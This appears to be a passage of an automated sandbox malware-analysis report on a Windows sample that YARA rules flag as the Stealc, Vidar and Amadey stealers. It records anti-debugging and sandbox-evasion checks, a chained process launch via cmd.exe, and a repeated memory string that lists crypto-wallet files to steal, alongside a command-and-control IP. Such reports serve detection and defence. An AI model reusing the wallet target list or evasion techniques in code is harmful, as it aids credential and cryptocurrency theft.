Source: Web Data.8.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: Web Data.8.dr	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: Web Data.8.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: Web Data.8.dr	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: file.exe, 00000000.00000002.1872805672.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Web Data.8.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: Web Data.8.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: file.exe, 00000000.00000002.1872805672.0000000000940000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW=
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: Web Data.8.dr	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: file.exe, 00000000.00000002.1873587801.0000000001127000.00000040.00000001.01000000.00000003.sdmp, DocumentsFHJKKECFIE.exe, 00000014.00000002.1907344022.00000000007DC000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000015.00000002.1943338094.00000000002EC000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000016.00000002.1957807464.00000000002EC000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 0000001A.00000002.2600663291.00000000002EC000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Web Data.8.dr	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: Web Data.8.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: Web Data.8.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: DocumentsFHJKKECFIE.exe, 00000014.00000003.1872698995.00000000012C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsFHJKKECFIE.exe

Code function: 20_2_04FD0654 rdtsc

20_2_04FD0654

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CF2AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6CF2AC62

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_0013652B mov eax, dword ptr fs:[00000030h]		26_2_0013652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_0013A302 mov eax, dword ptr fs:[00000030h]		26_2_0013A302

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CF2AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6CF2AC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 7740, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsFHJKKECFIE.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsFHJKKECFIE.exe "C:\Users\user\DocumentsFHJKKECFIE.exe"
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CF74760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

0_2_6CF74760

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CE51C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint,

0_2_6CE51C30

Source: file.exe, file.exe, 00000000.00000002.1873587801.0000000001127000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: >Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CF2AE71 cpuid

0_2_6CF2AE71

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CF2A8DC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_6CF2A8DC

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 26_2_001065E0 LookupAccountNameA,

26_2_001065E0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CE78390 NSS_GetVersion,

0_2_6CE78390

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 22.2.skotes.exe.100000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.skotes.exe.100000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.skotes.exe.100000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.DocumentsFHJKKECFIE.exe.5f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001A.00000003.2379642597.00000000050D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2600266215.0000000000101000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.1943174621.0000000000101000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.1902794035.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.1911996881.00000000048D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.1957572656.0000000000101000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.1865089955.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.1905571149.00000000005F1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.1872805672.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1375832690.0000000004CB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1873172118.0000000000D51000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7740, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7740, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.1872805672.0000000000940000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1872805672.0000000000940000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1872805672.0000000000940000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1873172118.0000000000EB7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Jaxx Liberty
Source: file.exe, 00000000.00000002.1872805672.0000000000940000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1872805672.0000000000940000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16esk\AppData\Roaming\\Exodus\\exodus.conf.json
Source: file.exe, 00000000.00000002.1872805672.0000000000940000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16esk\AppData\Roaming\\Exodus\\exodus.conf.json
Source: file.exe, 00000000.00000002.1872805672.0000000000940000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1872805672.0000000000940000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
